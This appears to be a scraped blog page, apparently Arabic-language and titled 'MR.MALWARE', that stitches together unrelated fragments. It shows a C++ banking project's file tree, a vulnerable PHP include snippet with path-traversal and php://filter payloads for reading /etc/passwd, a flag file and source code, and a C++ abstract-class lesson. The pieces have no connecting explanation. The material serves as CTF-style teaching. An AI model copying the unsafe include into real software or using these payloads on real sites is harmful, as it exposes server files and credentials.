MR.MALWARE

بين البرمجة وسياسات خبيثة

BankingSystem/
├── headers/                         # Header files
│   ├── core/                         # Core class definitions
│   │   ├── clsPerson.h
│   │   ├── clsBankClient.h
│   │   ├── clsUser.h
│   │   ├── clsCurrency.h
│   ├── screens/                      # UI interaction screens
│   │   ├── client/                     # Client management screens
│   │   ├── currencies/                 # Currency-related screens
│   │   ├── user/                       # User management screens
│   │   ├── clsMainScreen.h             # Main screen handling file
│   │   ├── clsScreen.h                 # Base class for all screens
│   ├── lib/                          # Utility library
│   │   ├── clsPeriod.h
│   │   ├── clsDate.h
│   │   ├── clsUtil.h
│   │   ├── clsInputValidation.h
│   │   ├── clsString.h
│   │   ├── clsInputValidate.h
│   ├── Global.h                      # Fetching the current user
├── LoginLogs.txt                     # Logs for successful logins
├── TransferLogs.txt                  # Records of performed transfers
├── Clients.txt                       # Client database
├── Users.txt                         # User database
├── Currencies.txt                    # Currency database

<?php
  $page = $_GET['page'];
  include($page);
?>

http://site.com/index.php?page=about.php

http://site.com/index.php?page=../../../../etc/passwd

   ../../../../etc/passwd
   ../../../../var/www/html/flag.txt
   

   php://filter/convert.base64-encode/resource=index.php
   

#include <iostream>
using namespace std;

// هذا الكلاس مجرد (Abstract Class)
class Vehicle {
public:
    // قاعدة عامة: كل مركبة لازم تمشي
    virtual void move() = 0; // دالة مجردة (Pure Virtual)
};

// سيارة ترث من Vehicle
class Car : public Vehicle {
public:
    void move() override {
        cout << "Car moves with petrol\n";
    }
};

// دراجة ترث من Vehicle
class Bike : public Vehicle {
public:
    void move() override {
        cout << "Bike moves with pedaling\n";
    }
};

int main() {
    Vehicle* v1 = new Car();
    Vehicle* v2 = new Bike();

    v1->move(); // Car moves with petrol
    v2->move(); // Bike moves with pedaling

    return 0;
}